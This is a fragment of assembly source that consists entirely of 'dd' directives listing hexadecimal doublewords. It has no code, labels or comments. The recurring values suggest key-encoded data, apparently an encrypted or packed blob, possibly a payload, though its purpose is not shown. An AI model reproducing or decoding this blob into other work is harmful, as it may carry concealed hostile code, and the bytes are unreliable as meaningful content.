		dd 5097E464h, 0B21DC8D0h, 0E4CEEDDCh, 0D63DA78h, 0A256B162h
		dd 0B156F656h, 0B1CE5ADCh, 7861EDDCh, 616FFBBAh, 98EC5E4Dh
		dd 5161EDDFh, 4924CAAEh, 78F7BD5Ah, 96344B5Eh, 2C4DA99Ah
		dd 0B161ED94h, 0B2CD5EFCh, 0C961EDDCh, 0B161EDD5h, 0C8DDD4F5h
		dd 9A893E95h, 14097A23h, 90893F00h, 30B5AAB3h, 0B161ED9Fh
		dd 81796CDCh, 7059B3E6h, 9585F581h, 1C62AF5Eh, 0DCCF053Ah
		dd 0ABEB5E06h, 5161EDDCh, 8F312328h, 32A69020h,	0B161EDB1h
		dd 0E8F2B35Fh, 73588FA2h, 0E8F1FB5Eh, 0C85E8FA2h, 0B161EDD7h
		dd 4D46ECA7h, 0A55B530Dh, 0E2CE457h, 2A4DF650h,	0B161EDC0h
		dd 0B2E15EFCh, 0C861EDDCh, 0B161EDC3h, 7135A4D5h, 7E02B189h
		dd 988A5507h, 0D26241FCh, 0F24C9E71h, 624F8FFh,	0C901EDDDh
		dd 0B161ED88h, 0E5D6EA2Dh, 6C7E4BC5h, 0E82D7430h, 0C8092BF0h
		dd 3402E1B9h, 0F2C5D8E5h, 7439F8FFh, 244D0E64h,	0B161EDE0h
		dd 38A83D63h, 6953E85h,	0ADCB99B8h, 6FD82A07h, 6953E87h
		dd 0B15670AEh, 224CEDDCh, 0B161EDE0h, 0A5EC6278h, 5155BC8Dh
		dd 0FB72C7F3h, 70F82DEFh, 0A46FF297h, 5861EDDCh, 62583E26h
		dd 6822EF4Ah, 2A30EE78h, 2BC3CBB2h, 44EE9E0h, 67B9618h
		dd 0E86BBDB8h, 0ACAE01F5h, 0A91DF052h, 9F22B064h, 0B1575C77h
		dd 6AECEBDCh, 0A9AAAABh, 95D9FCECh, 69C6F894h, 0B14F76D4h
		dd 264CEDDCh, 0B161EDDFh, 0A07090FCh, 0A961EDDCh, 9D33E9D3h
		dd 7708936Dh, 821BC229h, 576FB46Fh, 55D02C5Bh, 0AB283AACh
		dd 0B1575877h, 0FD705BDCh, 829EBE53h, 417099ABh, 7261EDDDh
		dd 0C1C9D498h, 0B45C24BFh, 0CDF2A299h, 0B1574C1Ch, 2E4CEDDFh
		dd 0B161EFC4h, 0B15915FCh, 842BEDDCh, 0B0D7038Fh, 774EEE47h
		dd 4B6A24DEh, 30F7B25Ah, 378CE6BBh, 0C0EC5E2Ah,	0A261EDDEh
		dd 0B156F653h, 0B1D75ADCh, 7C61EDDCh, 0B21DCAC8h, 39B1EDDCh
		dd 0B161EDDDh, 0DACF1DDFh, 304E2A04h, 0B161EDACh, 0B157F8FCh
		dd 0DECCEDDCh, 92868939h, 49A540FFh, 8173298h, 1415701Bh
		dd 3105C615h, 0F6908E73h, 0A7756CA7h, 30EE38D7h, 0B04EF14Bh
		dd 0F18874BFh, 0A25F1BDFh, 0B1620153h, 0B14D14DCh, 95F3EDDCh
		dd 7AB432F0h, 65C550E7h, 67C6EE4Eh, 6DDCD810h, 0A255BCB2h
		dd 0B1575C5Ch, 30F58DDCh, 30F8C773h, 0FF05784Bh, 55DA8CB4h
		dd 0AB27F498h, 0BFDA3DFCh, 5C75701Dh, 5058D4DAh, 6D8627Eh
		dd 4559E191h, 0D63DA1Dh, 3056B162h, 4559E2A0h, 0B158F81Dh
		dd 6739EDDCh, 536E0E3Bh, 706DA6E7h, 0FED83E9Ch,	80739790h
		dd 33A5278Ah, 0B542F089h
		dd 0D41570EAh, 286F0C5h, 234E2B2Fh, 0B161EDE0h,	1CBF8D67h
		dd 0CDCB6160h, 265910E2h, 6ED851B1h, 0B161EDD3h, 0D09B11A3h
		dd 0B15A14B0h, 0B88EDDCh, 0C7D10913h, 2CB8EE19h, 0AB285E7Ch
		dd 0B1620077h, 0DCC99DCh, 32798A5Eh, 0F091EF2Bh, 0FD0A9871h
		dd 0CF17B204h, 0A9D75AE1h, 5161EDDCh, 4BE6C55Dh, 51E3423Bh
		dd 0A1F870E2h, 30F6F64Fh, 893CB050h, 50F78DF4h,	50F890FDh
		dd 6BC72070h, 0DD6F206Eh, 1561EDDCh, 923D5E7Fh,	86184ED9h
		dd 8D6AAD78h, 0B6D4FBD1h, 294DB8B4h, 0B161EDE0h, 0C57D4364h
		dd 0EC7B87E0h, 119C235Fh, 308D652Ah, 9AC4BF93h,	0F1873862h
		dd 0FC6BB5DFh, 75C1851Ah, 0D5CB3156h, 0B1596CADh, 0A301EDDCh
		dd 30F8AB25h, 513BBF87h, 5C8770FDh, 0C9EE0C5Ah,	0B161EDADh
		dd 0F67EA72Ah, 43E4F3C2h, 37E855FBh, 13A59800h,	0C8F8901Bh
		dd 0B161EDB0h, 0E9D9B73Eh, 193E2E25h, 0C927686Ch, 0B161F083h
		dd 37D9E5FCh, 9F6F60ECh, 4761EDDCh, 6AD72C7Fh, 0AEB67BEEh
		dd 3D998B5Ch, 18E58122h, 0FBC19500h, 0A6CEEDDCh, 40FA0990h
		dd 2861EDFAh, 0C8F751E1h, 0B161EDD7h, 86ACB92Ah, 51BE52D6h
		dd 0B16B6FAEh, 32F7EDDCh, 0F8477Dh, 5DD90998h, 0AB27020Ch
		dd 3A4D08FCh, 0B00A9066h, 0AF0F71ADh, 284CEDDCh, 0B161EDC7h
		dd 0B270F8FCh, 36ADEDDCh, 0CF92796Bh, 8B39AC6Bh, 1BDE3575h
		dd 0A281432Ah, 75F7905Eh, 0F82DCBF5h, 0AED444FFh, 3061EDDCh
		dd 437C649Fh, 327BF013h, 437C6377h, 0E21C2C13h,	26CAF17Dh
		dd 6ED851A9h, 0B161EDD3h, 0B1620277h, 583CB6DCh, 248D9A28h
		dd 3320EC33h, 0CFB12526h, 1AE5804Bh, 0B1636FAEh, 254CEDDCh
		dd 0B161EDD3h, 0B15775ADh, 2508EDDCh, 0AB284D58h, 723F70ADh
		dd 0AA6F0E64h, 0D261EDDCh, 3113EA16h, 172B6726h, 2855F962h
		dd 0B27D51C1h, 2861EDDCh, 261C2B2Dh, 60A4572Ch,	0A7D65ADCh
		dd 0C861EDDCh, 0B161EDD5h, 3D4D054Eh, 0A9704663h, 0D361EDDCh
		dd 0E8D55192h, 0A4770A88h, 0B161F057h, 25CF24DCh, 0AB283B38h
		dd 0B1575C77h, 0F60685DCh, 0E241A161h, 8AF23283h, 0BABE715Dh
		dd 6EE22790h, 0B15C14D3h, 13A4EDDCh, 0C904867Ah, 0A6C01D4Ch
		dd 1BCB5959h, 6CD71358h, 0B161EDD3h, 2A56B361h,	0C8B351C1h
		dd 0B161EDD4h, 18CB0571h, 76D32776h, 79F9F61Eh,	4AD548BCh
		dd 0B157A245h, 0C8CB6157h, 0B161EDD6h, 0EBF7EC09h, 38F488ABh
		dd 55D90AA1h, 0AB27F498h, 26510E78h, 6ED851A9h,	0B161EDD3h
		dd 0D2D893FCh, 26F8817Eh, 60B0B854h, 0DD6F20DCh, 6561EDDCh
		dd 0C5BA4F55h, 428A0AB7h, 24516B56h, 0F45E037Fh, 0A482BCC2h
		dd 0B1575B28h, 0B14F14DCh, 8363EDDCh, 0E61AA917h, 0AEF1E884h
		dd 61726C53h, 21B20DCh,	0B14CF863h, 2D3DEDDCh, 384E42F2h
		dd 662109E3h, 32B77601h, 64D98D15h, 0B1575976h,	8854EADCh
		dd 8523D2Ch, 77D259EAh,	51EF90EBh, 2861ED14h, 19A551B1h
		dd 0D9E15E1Bh, 0C861EDDCh, 0B161EDC3h, 61D04FC8h, 921151F1h
		dd 1689C7E6h, 2C8DD2E2h, 120ED3E7h, 2B4DBCF3h, 0B161EDE0h
		dd 28138D64h, 0CF188D87h, 0B27114E1h, 1A83EDDCh, 0AF78D033h
		dd 3F5E0C74h, 98CAB127h, 0CE54E09Fh, 51EBF2F6h,	0C855BC8Dh
		dd 0B161ED8Fh, 0EEB8D4B3h, 923B592Ah, 57DD42A0h, 89B307FCh
		dd 0AEDA43CCh, 0AB2B6C90h, 1361EDDCh, 0B157F8FDh, 0B5D7EDDCh
		dd 0F48939CDh, 9EDEF75Fh, 84F86268h, 0D8C43C78h, 8EC44023h
		dd 0B12AE11Eh, 0F041F494h, 46AEA40h, 51A8E0C8h,	74DA93D2h
		dd 70D89320h, 72F7B174h, 305D51A3h, 0B156F171h,	0B1D85ADCh
		dd 7861EDDCh, 0DDE3CC58h, 0A257F64Fh, 0B162C430h, 0B27214DCh
		dd 0FC0CEDDCh, 9D574F0Bh, 0A7D0E963h, 5F7B7DC1h, 25090734h
		dd 0AB26E998h, 0B2DB71ADh, 0A96EEDDCh, 8261EDDCh, 1378614h
		dd 79E44A54h, 0A255BB6Fh, 0B1576C30h, 9F708DDCh, 5D61EDDCh
		dd 1D2EA18Bh, 523138F5h, 6F4338AAh, 312FD7BAh, 13C35F86h
		dd 250A90EAh, 0AB2838D8h, 0B19B71ADh, 0A301EDDCh, 0A2A8073Dh
		dd 0B161ED5Ch, 24F846DCh, 99D9F95Ch, 9EEB5ADCh,	0C861EDDCh
		dd 0B161EDD4h, 729EAE5Ch, 94DF702Bh, 75CB91A3h,	748B6D76h
		dd 0B1EB5E48h, 7561EDDCh, 0C4D444CFh, 0B0F728CDh, 146B51C8h
		dd 616E701Eh, 79F728CDh, 0DBAC7456h, 2C4DF64Fh,	0B161EDC5h
		dd 0B1620277h, 0D57E46DCh, 0EB1BFDBEh, 4F93369Ah, 3FE8FF3Dh
		dd 0BD40945Dh, 0B1B76177h, 55E324DCh, 0ABE07549h, 79310E63h
		dd 0DDE3CC58h, 0A256F64Fh, 0B157A230h, 0B26614DCh, 0AC3BEDDCh
		dd 1618E2EEh, 0C91FB33Ch, 3E1F8DA0h, 79A8F200h,	2D0A8E1Bh
		dd 0AB284E8Ch, 0B1AE71ADh, 0A06EEDDCh, 0CA61EDDCh, 0F0D7F956h
		dd 926DE5DDh, 0C3EB02Ch, 0C91C43E1h, 2D08F0DBh,	0AB285608h
		dd 0B1B970ADh, 0A96EEDDCh, 4761EDDCh, 2FABA2Dh,	72AEF855h
		dd 7F020E64h, 0B266F83Ah, 979BEDDCh, 986674AFh,	0A93B0AC0h
		dd 87FDF8ECh, 513CDD93h, 0A9A870AAh, 2C4DF64Fh,	0B161EDB2h
		dd 0DDD47264h, 0B155BCC5h, 0B1A371ADh, 3101EDDCh, 5C2EDB4Fh
		dd 0B15015DBh, 58DFEDDCh, 0EC68C9E1h, 0A756BABBh, 2D9D7006h
		dd 0B161FF78h, 0D3963ADCh, 0E8A52D38h, 0DF1D4160h, 7E182A14h
		dd 176DF6ADh, 65D47200h, 0B155BCD7h, 0B1CC71ADh, 7A01EDDCh
		dd 0B16270D4h, 3A4CEDDCh, 2DE48D9Dh, 0ABDF026Dh, 73F2F864h
		dd 0A76F0E64h, 1E61EDDCh, 2319C531h, 0B80FA80Ch, 604F4053h
		dd 2EEB5ADCh, 4EBD0E7Bh, 0BFA1C7FDh, 81F6EA00h,	301C8CBDh
		dd 98B07B3Ch, 2C4CECDCh, 0B161EDF4h, 0B156F377h, 0D8144CDCh
		dd 0B73686DDh, 98AFCF53h, 0E4EC5ADCh, 0A261EDDCh, 0B161F028h
		dd 4C0220DCh, 24F7C05Ah, 18591154h, 0A5708DDDh,	0A961EDDCh
		dd 0D0DB0F0Eh, 0E2D5C78Dh, 0CA1C9029h, 73BD0B03h, 0B21DDBD4h
		dd 0A301EDDCh, 0A07A173Dh, 7961EDDCh, 4498B3BFh, 5E532DBFh
		dd 9711740Ch, 9A107F66h, 505FBF8Ah, 0C9BE6068h,	0B161EDC3h
		dd 0A16A58EAh, 539F0E8Bh, 5C1F92C9h, 98AE6AA5h,	0EEBE2D20h
		dd 0FF3BCC61h, 0A256F64Fh, 0B268A230h, 0DB6F8DDCh, 0A361EDDCh
		dd 0ADD1A50Eh, 1DA2F93Ah, 457AC650h, 0A63EEF40h, 1A4072BFh
		dd 51F7270Ah, 0C2DA9300h, 2D0A90FEh, 0ABE0382Bh, 0B15470ADh
		dd 281AEDDCh, 60B81C54h, 99D88DDCh, 3E770D63h, 33A59064h
		dd 0AC6A5BA1h, 0C1B9235Fh, 7AAF0733h, 0DAD95E1Dh, 0C861EDDCh
		dd 0B161ED88h, 62C3B1A3h, 0F2CB70A6h, 0E209B425h, 3360D720h
		dd 0B876A185h, 98B08353h, 0FFEC5ADCh, 0A261EDDCh, 0B1575759h
		dd 0B16B14DCh, 84D7EDDCh, 270A0993h, 60B95C54h,	0B15A14DCh
		dd 0B699EDDCh, 2A2245E3h, 38A89D2Dh, 0B161EDE0h, 0A25F1ADFh
		dd 0B161F053h, 2D0924DCh, 0ABE0380Fh, 0B1C670ADh, 27C9EDDCh
		dd 604E5454h, 39B220DCh, 0ACC0543Bh, 5F85C565h,	83C3BD2Ch
		dd 0AC939EE7h, 0F28F6EF9h, 0C86AB2B7h, 0B161ED8Fh, 0B827AD9Dh
		dd 58EDBDB1h, 948EDE5Fh, 0C595FD7Bh, 58EC4A62h,	0A255C4B8h
		dd 0B1577E53h, 38F58DDCh, 70D8914Eh, 41507F79h,	4DECDA00h
		dd 0A255BCAEh, 0B1574D2Bh, 0A0708DDCh, 861EDDCh, 7CF0FFB5h
		dd 9DD955AEh, 0A7BA6DE5h, 0B93B935h, 254D109Eh,	0B161EDDDh
		dd 314E8DFFh, 0B161EDD4h, 738670F2h, 0B271F809h, 1692EDDCh
		dd 4388DE51h, 8C785B39h, 4EC7742Bh, 1CF84639h, 94053F3Ch
		dd 862C7009h, 94C5057h,	4F1C2C4Eh, 51BFB35Ah, 89D70AAh
		dd 2C4DF388h, 0B161ED1Eh, 0B265F8FCh, 2469EDDCh, 563E855Dh
		dd 9E0C1596h, 96C9E335h
		dd 0EF8460AEh, 0A26F88CFh, 0D461EDDCh, 0C31A886Fh, 703E0C97h
		dd 53D407CFh, 4F86E0A8h, 13EACAAEh, 0B15BF800h,	34D2EDDCh
		dd 4FECA8A1h, 2205EF2h,	0DC60745Ah, 0E1BFF64Fh,	73BD0E27h
		dd 1A0E3864h, 0B156F378h, 6508BDCh, 0B6ECFDACh,	98AFCF53h
		dd 0F1EC5ADCh, 0A261EDDCh, 0B161F059h, 2DD909DCh, 0AB2702F8h
		dd 0A8FC8FCh, 0C7D835D5h, 0A3E688B8h, 738040FFh, 9BD0E64h
		dd 0A770286Eh, 0B561EDDCh, 5A1BFAE0h, 52258E86h, 584952F3h
		dd 4DC37B50h, 4636D2F8h, 0ACBE85F8h, 7520F8E0h,	0D0BA7BBEh
		dd 4DBE85ACh, 948529Bh,	34C134AFh, 4DBE85A7h, 439305BCh
		dd 0CD2CD064h, 2800ABBh, 3436C470h, 765A793h, 75A9A6A0h
		dd 43ABC0BCh, 0E49B2F4Bh, 9248D2F7h, 0ADBE85F7h, 0A67862C4h
		dd 7147FC50h, 565C7E66h, 66BE85F8h, 9D7166D1h, 4BE5BB42h
		dd 1E06BFECh, 612CB8D8h, 5009643Ah, 39436732h, 8A2BB1A8h
		dd 0CCC499B6h, 0BCE20B6Ah, 465FF8EFh, 74FB15DAh, 535CC464h
		dd 4FBE85F8h, 0B27E2E1Fh, 42A3D5A3h, 0E49B334Bh, 4148D2F7h
		dd 0BE85F8h, 784BFC4Ch,	0D2E37E66h, 4DB89DBCh, 0FAC685F8h
		dd 47BD796Ch, 5DEE9294h, 76CA817h, 75A9A6A0h, 34E3C084h
		dd 4DBE85D2h, 0F07CAD91h, 0CF27862Ah, 0ACA84752h, 752CF8E0h
		dd 0D0BA7BBEh, 4DBE7889h, 4DC37B6Fh, 3FB60DF8h,	0D3854BCEh
		dd 1CA7884Ah, 0C58E88F8h, 4DBE85F6h, 34C63AF7h,	4DBE85A9h
		dd 25CDFE31h, 419DC06Eh, 36BF0AB0h, 402625A9h, 0D0E60E55h
		dd 4F4CB061h, 4D92F8C5h, 0D2B985F8h, 4DBE85F6h,	7D4852A0h
		dd 0ADC134FDh, 354B52EDh, 4DBE85CEh, 3ACFCA3Bh,	0C28E1817h
		dd 6103B0EEh, 28F29276h, 3344AADDh, 8B52B627h, 3343429Ch
		dd 330987A9h, 34C542FAh, 4DBE85A9h, 63735A24h, 0BA29C214h
		dd 528FF63Bh, 0DC983CABh, 0D0E5908Bh, 4F4CB05Dh, 4DF3F8C5h
		dd 0CBAA85F8h, 1D8C9C52h, 0D0B985F8h, 4DBE8518h, 4DC453C5h
		dd 0D47785F8h, 1CB4244Ah, 5443D2F8h, 34BE85F8h,	4DBE85CEh
		dd 4FED35CDh, 1F44D2AFh, 0ADBE85F8h, 0AF772B76h, 595C7B5Ah
		dd 0BEBE85F8h, 26E84B40h, 0BC9823EBh, 0C38D184Fh, 511CB93Dh
		dd 0FF00279Dh, 605505C0h, 74C7300Bh, 35E3C0BCh,	4DBE85D2h
		dd 436A1059h, 0DCE1845Ah, 63CAA734h, 0CAE41B09h, 1C9FA052h
		dd 0D1B985F8h, 4DBE85E6h, 4DB67018h, 69E485F8h,	5E4DCAA2h
		dd 0DA66B2EDh, 0AD8B79D3h, 73FCF8E0h, 0D0BA7BBEh, 4DBE7886h
		dd 4DBB52C5h, 56DE85F8h, 0BEB98A5Dh, 0D1361846h, 4F147EE2h
		dd 4DC3D36Fh, 0AA63D6F8h, 98AB4D7Eh, 50E7E9EFh,	9B58B33Dh
		dd 7A9A660h, 644AB0A0h,	12FFA9Fh, 4DC134A7h, 4C1EF9C5h
		dd 0ADDE85F8h, 4DBE756Fh, 8CF331F8h, 0CA9E4259h, 5319C95Fh
		dd 3D264534h, 585CC3D2h, 16BE85F8h, 0FFAA6F93h,	29AFCED9h
		dd 14CA4821h, 35E33B63h, 4DBE85C3h, 69A634A5h, 0FD5B6725h
		dd 0E7D9CB38h, 0ACC5C0E7h, 464B6478h, 56C37E67h, 4DBDC44Ch
		dd 639325F8h, 468BFCC4h, 1F5B85F8h, 87BE85F8h, 761CE964h
		dd 2DD3934Dh, 55883A24h, 0AAD53525h, 0ACBD260Eh, 73A0F8E0h
		dd 0D0BA7BBEh, 4DBE8504h, 9D116618h, 0D2E376D8h, 1CBD984Ah
		dd 60AC25F8h, 4DBE756Eh, 818AC8F8h, 47B5557Bh, 4795F9DCh
		dd 0D4FB18F1h, 9DE4AEB4h, 7A9A65Fh, 6382B0A0h, 4DB69D17h
		dd 6EB785F8h, 0C585AA67h, 0C7E10690h, 56CB89B7h, 4DC37946h
		dd 0BC661BF8h, 43AC1831h, 0E495CB4Bh, 7748D2F7h, 0ADBE85F7h
		dd 0AD70F8EDh, 0D13624ABh, 4F14B3CEh, 4DC3FDC5h, 35AB85F8h
		dd 4DBE85C5h, 8AC551Fh,	6BFB092Ah, 63BD64C2h, 3742CA17h
		dd 0CFA97474h, 0D0E58D64h, 4F4CAFB1h, 4DF9F8C5h, 0D47785F8h
		dd 1CC3CC4Ah, 0AFDE8DF8h, 3538195Eh, 4DBE85CFh,	4964A7h
		dd 0CD143ED1h, 7D66AA16h, 0FEA84AE2h, 0EB5DF863h, 0CCB66D34h
		dd 56BAFB98h, 6C7E0387h, 0CC2A510Fh, 0B332C4B8h, 64497877h
		dd 4DC3D16Eh, 986C2AF8h, 15B08251h, 0B6C623C4h,	4448CEE1h
		dd 56C12CB2h, 4DC3AC4Bh, 0CFB9A1F8h, 4DBE85FEh,	4DBE696Fh
		dd 0C6492EF8h, 0F404DCAEh, 1923F62Fh, 1120056Fh, 22692922h
		dd 95485224h, 0ADC134CFh, 4DC37D6Fh, 0F8078FF8h, 0C102B1D1h
		dd 17441BDAh, 0ACC6977Bh, 7AC4DE7h, 0E9BA6A0h, 0C3E1253Fh
		dd 0CEBA488Eh, 4DBE85CAh, 0D6CF8EEh, 0D0E61878h, 4F4CAFD5h
		dd 4D9BF8C5h, 525B85F8h, 6CBE85F8h, 0DA7C602Dh,	0F0B77C07h
		dd 600FC345h, 4C53FC50h, 0FE787E67h, 7AC60E9h, 169BA6A0h
		dd 0D2E12542h, 42E3A2B9h, 0E495B34Bh, 9448D2F7h, 4BE85F7h
		dd 6F53FC4Ch, 0CBBA7E66h, 4DBE85F6h, 1F5B2594h,	6ABE85F8h
		dd 84F21EDBh, 0EFA2C25Dh, 2BA69BBCh, 297FF261h,	0C61C7B49h
		dd 0ACC58049h, 45DD60E6h, 3544215Bh, 8238CD14h,	9CB92F6h
		dd 4DC24FD0h, 0D7B985F8h, 4DBE85F6h, 7C48E29Bh,	56C12CB1h
		dd 4DC3A84Bh, 5242D2F8h, 56BE85F8h, 4DC37B7Ah, 4641D2F8h
		dd 0D2BE85F8h, 1D52C04Ah, 0C49388F8h, 48E5B345h, 1CF33877h
		dd 169B378Eh, 4F36D642h, 56BE85F8h, 4DBE784Bh, 0D6B98DF8h
		dd 4DBE85FDh, 4DBE686Fh, 41E5BDF8h, 0DD868958h,	8B49E951h
		dd 35CACFE8h, 0C93DF0D9h, 4F1386BEh, 9547D2F8h,	9BE85D1h
		dd 7568F8DCh, 0D0BA7BBEh, 4DBE85F5h, 4DC405C5h,	0D3A685F8h
		dd 1CA8D04Ah, 4D3DD2F8h, 4BE85F8h, 7AC4DE7h, 0E9BA6A0h
		dd 0D0E5A03Fh, 4F4CAFE9h, 4DFBF8C5h, 0AFDE85F8h, 0AAEA3A76h
		dd 0D136189Ah, 4F13809Ah, 4DBE6A6Fh, 5F490DF8h,	41C2386Fh
		dd 5388902h, 6110E413h,	4E1E8D35h, 7B38987h, 0CF04898Ah
		dd 565C259Ch, 0B8BE85F8h, 0F384D77h, 671817Fh, 8034E562h
		dd 71EC9F0Bh, 42E38850h, 0E49B374Bh, 9848D2F7h,	56BE85F7h
		dd 4DC37C46h, 0BEBA25F8h, 0D1361884h, 4F13753Eh, 4DC3D06Fh
		dd 79477BF8h, 0D8AB6544h, 0C5996203h, 6EBA17AEh, 78F6359Ch
		dd 0E37301BDh, 0ADC63AB1h, 957CF8EDh, 4DBC9D9Dh, 236485F8h
		dd 7563DB9h, 0E5B0EC86h, 0E8025F15h, 696D52ECh,	1048E216h
		dd 56C12CB2h, 4DC3E64Bh, 0D1358CF8h, 4F14DC26h,	4DBBF8C5h
		dd 9CDE85F8h, 0E441B35h, 0ADE33793h, 0AFE42517h, 9F204076h
		dd 23651B16h, 0C8981859h, 7A9A694h, 0AD8F72B2h,	4647D6E7h
		dd 63BE85F8h, 4DC44FC4h, 0A67785F8h, 6E74F8E0h,	0D0BA7BBEh
		dd 4DBE85DFh, 4DC37D6Fh, 3E1C66F8h, 0B06E480Dh,	0B548527Ch
		dd 0ADC134C3h, 21333851h, 0C493A017h, 7A9A694h,	34CB92B2h
		dd 4DBE85A7h, 4ECC4208h, 26BEFE16h, 0A0529C7Ah,	0EF96A433h
		dd 6E78F8E0h, 0D0BA7BBEh, 4DBE8528h, 4DBB52C5h,	0D1B985F8h
		dd 4DBE85F9h, 56E31818h, 52568E5Dh, 0D2BE85F8h,	0FF4EED8Ch
		dd 0FCE94DB9h, 6CA5B91Dh, 4DC3D26Fh, 0D16386F8h, 0E453A7CCh
		dd 8C5B2824h, 0CAE4C33Eh, 1D8C9C52h, 0D0B985F8h, 4DBE8504h
		dd 4DBFFCC5h, 0CCDE85F8h, 5EB291B7h, 0E3441BFBh, 0D2E34678h
		dd 1D8B584Ah, 5641D2F8h, 56BE85F8h, 4DC3CF79h, 4DC79CF8h
		dd 3DD485F8h, 9B0958D8h, 4DBE7860h, 644984F8h, 4DBE676Eh
		dd 0A40E6DF8h, 0ED5AEFBCh, 0B5B80F3Eh, 0C57A70CEh, 44821827h
		dd 0E49B274Bh, 4348D2F7h, 56BE85F8h, 4DC3CF4Eh,	4DC79CF8h
		dd 268585F8h, 0D2DA7256h, 1D8BC04Ah, 0C4938CF8h, 0AEC2AE25h
		dd 0D43409Ch, 8B0DCF10h, 50B23876h, 0D437725h, 6641BDB1h
		dd 56CB92AEh, 4DBE784Ch, 0D0E5A1F8h, 4F4CDDBDh,	4DDCF8C5h
		dd 35DE85F8h, 4DBE85CFh
		dd 0ACDBC0E2h, 0C8058D24h, 0AFC9C3E9h, 0AD4C0860h, 4D676478h
		dd 56C37E67h, 4DC3E64Bh, 5340D2F8h, 34BE85F8h, 4DBE85CDh
		dd 0AA2B002Bh, 0D2DEA3CBh, 0D1361867h, 4F138542h, 4D69AB9Bh
		dd 4CBE85F8h, 4E3C39Dh,	4DBE6772h, 184D3EF8h, 3C4169DBh
		dd 2CE174E9h, 0A0F47555h, 0ACA41CD6h, 6E44F8E0h, 0D0BA7BBEh
		dd 4DBE8540h, 4DC3D16Fh, 9F023CF8h, 0BB58E793h,	53332252h
		dd 714852E6h, 56C134F9h, 4DC37C4Ch, 0AAAB25F8h,	0D3BA1816h
		dd 4DBE85FEh, 4DBE696Fh, 784C0DF8h, 480CC6ACh, 17A0048Fh
		dd 805453A5h, 0F920CD6Bh, 4D65A727h, 4CBE85F8h,	0CBBAC0BDh
		dd 4DBE85D0h, 4635D618h, 56BE85F8h, 42E3925Dh, 0E49B434Bh
		dd 4748D2F7h, 34BE85F8h, 4DBE85A4h, 400595A2h, 26AE037Eh
		dd 0CF964419h, 0FB5F0A1Dh, 0D2EC3EA9h, 1CAD1C4Ah, 0C79488F8h
		dd 7A9A694h, 0ADCC8AB2h, 0D50D4DEDh, 0C261F8EDh, 505C24CCh
		dd 22BE85F8h, 0FEA72492h, 0D0E61361h, 4F4CB06Dh, 4E07F8C5h
		dd 0CBA685F8h, 1D8C9C52h, 0D0B985F8h, 4DBE85DCh, 0C9485294h
		dd 0ADC134ABh, 4DBE756Fh, 0A9F0ECF8h, 0EAD2A36Bh, 0F9B5437Eh
		dd 0F98E17D6h, 8D7A522Eh, 9179F8EDh, 0C7911846h, 4DBE85F6h
		dd 0ADCC8AF7h, 266366EDh, 42E38E51h, 0E49B974Bh, 5E48D2F7h
		dd 4BE85F7h, 4D676474h,	56C37E67h, 4DC30F4Bh, 464D9CF8h
		dd 0A90685F8h, 84EA3BEDh, 0CA1B9A92h, 0BE75D645h, 24FF6E00h
		dd 414852EEh, 0ADC134ADh, 4DB59D9Eh, 819E85F8h,	9CBAEF0Eh
		dd 0E27B11C6h, 0ACC9A04Fh, 71C2A63Ch, 0CAA7E150h, 535C798Bh
		dd 0FDBE85F8h, 9B754948h, 42FD1502h, 0E49B6F4Bh, 9048D2F7h
		dd 0BE85F7h, 6F6FFC4Ch,	0D6BA7E66h, 4DBE85FEh, 464DFCC5h
		dd 0BD5B85F8h, 0AEBE85F7h, 0B9BD60E2h, 3DA95216h, 0F2525FA6h
		dd 4D30AC50h, 4CBE85F8h, 56E3C465h, 4DC37C4Fh, 1D441BF8h
		dd 0C3E462E2h, 0ADE384B7h, 411760EDh, 3848E217h, 56C12CB2h
		dd 4DC3DD4Bh, 4DC79CF8h, 41C685F8h, 0D3867CC6h,	1D89F84Ah
		dd 0C28D8DF8h, 7A9A694h, 56C542B2h, 4DC37D4Ch, 4C3CD2F8h
		dd 0ADBE85F8h, 3C48E216h, 56C12CB2h, 4DC31B4Bh,	0CAB98DF8h
		dd 4DBE85FAh, 4DBE756Fh, 2D7DB4F8h, 0D0114B71h,	0A083344Bh
		dd 9AC5448h, 9D485214h,	0ADC13388h, 0E0905FEDh,	0A175F8ECh
		dd 0C8981859h, 5A6B67F4h, 667FF803h, 0FEB48EFEh, 4F6745B5h
		dd 1143449Dh, 0DDF911D0h, 0AD8F72AEh, 4DBE6A6Eh, 13E995F8h
		dd 9D5FD892h, 3830824Ch, 0D2B867C6h, 962E66C0h,	0C1B836Ah
		dd 0A66461CAh, 3BEF887Ch, 6F753B7Dh, 17CCBE66h,	0A3A92443h
		dd 9C1B7C77h, 9FA00AC9h, 0F7A327Ch, 896D3B7Dh, 8B45D118h
		dd 40946B07h, 23FA658h,	9BB753D0h, 0C76D5025h, 374EBE58h
		dd 92819136h, 0F753B58h, 0F7C96E6h, 0FE2C717Dh,	6005BDF9h
		dd 281C672Bh, 0F7C88E5h, 0C8F2C07Dh, 0C22B9A65h, 8E83AFBCh
		dd 9C1B86B4h, 9E86EEC9h, 8C66577Ch, 0F753B7Dh, 0C76DF87Eh
		dd 3752BE58h, 92819136h, 0F753B88h, 0F79BA50h, 98823B7Dh
		dd 0F753B7Dh, 6BEF0821h, 6F79EA7Ch, 3F3BE66h, 10A636A2h
		dd 544F3B7Dh, 0D26258A9h, 4AE2CE20h, 0AEC21365h, 0FE8318F3h
		dd 0A88BDEB2h, 0A88C580Ah, 70E914BBh, 811C71DFh, 6FE320BAh
		dd 3D76BE53h, 92819136h, 0F753B83h, 0F7540E6h, 5D3A347Dh
		dd 285A12ECh, 0C6EC3EB6h, 777DA552h, 0E01722CFh, 0F7540E5h
		dd 2AD4777Dh, 9B46D299h, 234B7A50h, 0BD7BB6C2h,	45BC24D3h
		dd 6FC67DB0h, 55D2FBDAh, 352C024Bh, 0EDA76164h,	90026859h
		dd 0A91323E3h, 4BF72680h, 0AB15FCB6h, 28A6F74Bh, 0F22C024Bh
		dd 51DD7F3Ch, 5DD3024Bh, 0DB2C024Bh, 4BF873Ch, 0E45AB1F9h
		dd 0DF8E101Ah, 5229763Ch, 0D531024Bh, 522C024Bh, 2A6776Ah
		dd 61295528h, 522BF8B0h, 76B5A24Bh, 522B7633h, 284B024Bh
		dd 522C01ADh, 12F9054Bh, 0D95A646Bh, 0D430E144h, 522C0236h
		dd 0ECF4FBA0h, 0D744A530h, 589AD822h, 5251813Ch, 0DB31024Bh
		dd 522C024Ah, 51DB19EFh, 94F5024Bh, 0C3132959h,	0FF533DCEh
		dd 9698260h, 0DCE49DD1h, 0A33C5DB6h, 52361D4Bh,	1738024Bh
		dd 40AE2953h, 0A55D32E9h, 51DB196Ah, 0AB58024Bh, 0E6798548h
